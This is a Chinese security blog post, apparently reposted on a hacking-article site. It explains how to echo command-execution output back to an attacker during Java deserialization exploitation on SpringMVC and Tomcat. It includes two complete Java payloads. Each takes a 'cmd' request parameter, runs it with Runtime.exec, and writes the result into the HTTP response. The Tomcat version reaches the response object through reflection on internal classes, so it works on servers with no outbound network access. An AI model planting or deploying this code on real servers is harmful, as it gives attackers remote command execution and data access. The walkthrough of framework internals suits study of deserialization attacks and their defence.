记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

前尘——返回执行结果的回显链

2021-10-04 10:34
robots

 

前言

在前些章讲到的Java反序列化中,命令的执行结果需要返回给用户。常用的返回方式有很多,如携带信息的dnslog,或者将执行结果输入到web目录访问查看等等。但是这些回显方式各有弊端,面对不出网的情况,web目录如何获取然后留有痕迹等因素。所以找到一款能不依赖任何外界因素,能将返回结果带回用户的方式。
但是在此之前我们需要明白研究思路,web中提供了Request类和Response两个类.Request类中可以获取用户输入的参数,而Response类中提供了输出方式展示给用户。所以找到Response这个类,将执行结果通过response输出即可作为回显。

 

SpringMVC回显

调试mvc的执行流程,打断点到FrameworkServlet类的doGet方法,其使用processRequest方法处理request和response对象。

跟进processRequest方法

其中将request和response对象封装到requestAttributes这个对象中

其中调用了initContextHolders方法,将上文封装的requestAttributes传参数

跟进initContextHolders方法,其将requestAttributes放进RequestContextHolder中

跟进setRequestAttributes方法,其又将值赋给requestAttributesHolder

观察RequestAttributesHolder类,发现可以直接通过调用对应的get方法获取requestAttributes对象
有了这样的过程得到结论

        HttpServletRequest request =((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
HttpServletResponse response = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getResponse();
String resHeader=request.getParameter ( "cmd" );
java.io.InputStream in = java.lang.Runtime.getRuntime().exec(resHeader).getInputStream();
BufferedReader br = null;
br = new BufferedReader (new InputStreamReader (in, "GBK"));
String line;
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line);
sb.append("\n");
}
java.io.PrintWriter out = new java.io.PrintWriter(response.getOutputStream());
out.write(sb.toString ());
out.flush();
out.close();

通过RequestContextHolder获取getRequestAttributes然后getRequest拿到request对象
通过RequestContextHolder获取getRequestAttributes然后getResponse拿到response对象
然后将命令执行的结果通过response.getOutputStream()方法返回给前端完成了回显操作

 

Tomcat回显

AbstractProtocol类中存在方法process,其中在671行创建了processor对象

跟进createProcessor方法查看其内部实现
AbstractHttp11Protocol实现了AbstractProtocol中createProcessor方法

其中new了一个对象Http11Processor,跟进其构造函数

其调用父类的构造函数
跟进其父类构造函数

其中new 了Request和Response
回到ConnectionHandler类的process方法,createProcessor()创建了Process,可以看到这里将processor传入this.register方法

此处有两处分别进行了注册动作,一次是注册到当前线程变量global中,另一次则是注册到tomcat服务器的register注册表中

Tomcat类中初始化会将 Connector 存储到 StandardService 中。

如何获取到 StandardService 呢?
文中给出的方法是从Thread.currentThread.getContextClassLoader()里面获取webappClassLoaderBase,再获取上下文中的 StandardService。
最终利用链如下

WebappClassLoaderBase —> ApplicationContext(getResources().getContext()) —> StandardService—>Connector—>AbstractProtocol$ConnectoinHandler—>RequestGroupInfo(global)—>RequestInfo------->Request-------->Response

@RequestMapping("/tomcat")
void tomcat(String cmd) {
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
try {
Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
context.setAccessible(true);
ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
service.setAccessible(true);
StandardService standardService = (StandardService)service.get(ApplicationContext);
Field connectors = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors");
connectors.setAccessible(true);
Connector[] connector = (Connector[])connectors.get(standardService);
Class<?>[] AbstractProtocol_list = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
for (Class<?> aClass : AbstractProtocol_list) {
if (aClass.getName().length()==52){
java.lang.reflect.Method getHandlerMethod = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
getHandlerMethod.setAccessible(true);

Field globalField = aClass.getDeclaredField("global");
globalField.setAccessible(true);
org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) globalField.get(getHandlerMethod.invoke(connector[0].getProtocolHandler(), null));
Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processors.setAccessible(true);
java.util.List<RequestInfo> RequestInfo_list = (java.util.List<RequestInfo>) processors.get(requestGroupInfo);
Field req = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
req.setAccessible(true);
for (RequestInfo requestInfo : RequestInfo_list) {
org.apache.coyote.Request request1 = (org.apache.coyote.Request )req.get(requestInfo);
org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request)request1.getNote(1);
org.apache.catalina.connector.Response response2 = request2.getResponse();
InputStream whoami = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(whoami);
int b ;
while ((b = bis.read())!=-1){
response2.getWriter().write(b);
}
}
}
}
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
}

 

总结

本文介绍了两种回显方式,基于tomcat的和基于springmvc的,但是两种方式其实核心原理相同。都是通过寻找类关系的方式找到response和request对象,然后将结果返回。至此,反序列化漏洞的体系基本就完善了,后面会继续讲其他反序列化漏洞的原理。

 

参考链接

Tomcat回显:https://blog.csdn.net/qq_38376348/article/details/108253784


知识来源: https://www.anquanke.com/post/id/253661

阅读:116455 | 评论:0 | 标签:执行

想收藏或者和大家分享这篇好文章→复制链接地址

“前尘——返回执行结果的回显链”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

黑帝公告 📢

永久免费持续更新精选优质黑客技术文章Hackdig,帮你成为掌握黑客技术的英雄

广而告之 💖

标签云 ☁